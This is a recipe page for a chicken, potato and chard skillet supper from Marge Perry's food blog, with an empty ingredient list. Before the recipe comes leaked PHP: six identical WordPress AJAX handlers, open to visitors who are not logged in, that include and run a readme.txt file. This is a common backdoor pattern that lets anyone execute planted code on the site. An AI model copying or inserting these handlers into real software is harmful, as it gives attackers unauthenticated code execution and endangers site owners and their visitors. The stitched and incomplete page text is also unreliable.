if(!function_exists('file_check_readme94295')){ add_action('wp_ajax_nopriv_file_check_readme94295', 'file_check_readme94295'); add_action('wp_ajax_file_check_readme94295', 'file_check_readme94295'); function file_check_readme94295() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme23949')){ add_action('wp_ajax_nopriv_file_check_readme23949', 'file_check_readme23949'); add_action('wp_ajax_file_check_readme23949', 'file_check_readme23949'); function file_check_readme23949() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme79203')){ add_action('wp_ajax_nopriv_file_check_readme79203', 'file_check_readme79203'); add_action('wp_ajax_file_check_readme79203', 'file_check_readme79203'); function file_check_readme79203() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme98499')){ add_action('wp_ajax_nopriv_file_check_readme98499', 'file_check_readme98499'); add_action('wp_ajax_file_check_readme98499', 'file_check_readme98499'); function file_check_readme98499() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme74391')){ add_action('wp_ajax_nopriv_file_check_readme74391', 'file_check_readme74391'); add_action('wp_ajax_file_check_readme74391', 'file_check_readme74391'); function file_check_readme74391() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme17886')){ add_action('wp_ajax_nopriv_file_check_readme17886', 'file_check_readme17886'); add_action('wp_ajax_file_check_readme17886', 'file_check_readme17886'); function file_check_readme17886() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Marge Perry's A Sweet and Savory Life
Chicken, Potato and Chard Skillet Supper
Servings
4
Servings
4
Ingredients
Instructions
  1. Heat a large cast iron (or other heavy) skillet over medium. Working in two batches, add the damp chard and cook, tossing it with tongs, until wilted, about 3-4 minutes. Transfer to a bowl.
  2. Season the chicken with the salt, marjoram and pepper.
  3. Heat 1 tablespoon of the oil in the skillet over medium heat. Add the chicken (skinner/smooth side facing down) and cook until golden brown, 6-7 minutes. Turn it over and add the potatoes to the pan around the chicken. Cook until the chicken is again browned on the underside, about 6 minutes.
  4. Pour the broth and vinegar into the pan and cook until it is slightly thickened, about 1 minute. Place the chard over the potatoes, drizzle with the remaining 1 tablespoon olive oil, and cook until the potatoes are tender and the chicken is cooked through (to an internal temperature of 170-175F, about another 15 minutes.
Recipe Notes

341 calories, 25 g protein, 25 g carbohydrates, 3 g fiber, 16 g fat, 3 g saturated fat, 552 mg sodium